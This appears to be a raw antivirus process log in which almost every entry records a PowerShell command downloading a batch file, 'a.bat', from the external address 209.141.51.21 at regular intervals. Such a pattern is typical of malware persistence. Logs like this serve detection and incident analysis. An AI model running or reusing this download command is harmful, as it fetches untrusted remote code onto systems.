C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:39:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:42:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:44:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:47:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:49:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:52:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:55:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 18:57:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:00:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:02:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:05:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:07:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:10:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:12:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:15:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:17:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:20:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:22:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:25:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:27:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:30:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:32:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:35:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:37:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:40:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:43:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:45:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:48:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:50:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:53:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:55:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 19:58:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:00:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:03:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:05:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:08:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:10:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:15:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:18:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:20:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:23:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:26:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:28:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:31:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:33:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:36:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:38:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:41:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:43:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:46:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:48:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:51:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:53:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:56:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 20:58:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:01:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:03:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:06:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:08:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:11:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:14:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:16:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:19:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:21:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:24:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:26:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:29:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:31:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:34:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:36:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:39:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:41:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:44:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:46:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:49:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:51:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:54:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:57:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 21:59:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:02:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:04:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:07:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:09:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:12:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:14:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:17:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:19:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:22:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:24:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:27:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:29:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:32:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:34:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:37:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:40:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:42:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:45:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:47:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:50:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:52:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:55:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 22:57:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:00:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:02:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:05:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:07:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:10:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:12:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:15:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:17:20 AVAVER: 21.2.2455 AR2: 240830 defs: 24091902 2024-09-19 23:17:20 ARPOT2: Start 2288 2024-09-19 23:17:20 AR2CFG: 240830 2024-09-19 23:17:20 AR2DEV: Start 1 Driver: 210305 2024-09-19 23:17:55 AR2DEV: Stopped 1 2024-09-19 23:17:55 AVAVER: 21.2.2455 AR2: 240830 defs: 24091904 2024-09-19 23:17:55 ARPOT2: Start 5632 2024-09-19 23:17:55 AR2CFG: 240830 2024-09-19 23:17:55 AR2DEV: Start 1 Driver: 210305 2024-09-19 23:17:55 AR2DEV: Stopped 1 2024-09-19 23:17:55 AVAVER: 21.2.2455 AR2: 240830 defs: 24091904 2024-09-19 23:17:55 ARPOT2: Start 8168 2024-09-19 23:17:55 AR2CFG: 240830 2024-09-19 23:17:55 AR2DEV: Start 1 Driver: 210305 2024-09-19 23:18:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:20:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:23:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:25:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:28:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:30:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:33:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:35:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:38:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:40:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:43:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:45:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:48:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:50:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:53:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:55:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 23:58:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:00:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:03:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:05:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:08:31 NOTIFY: PROCESS 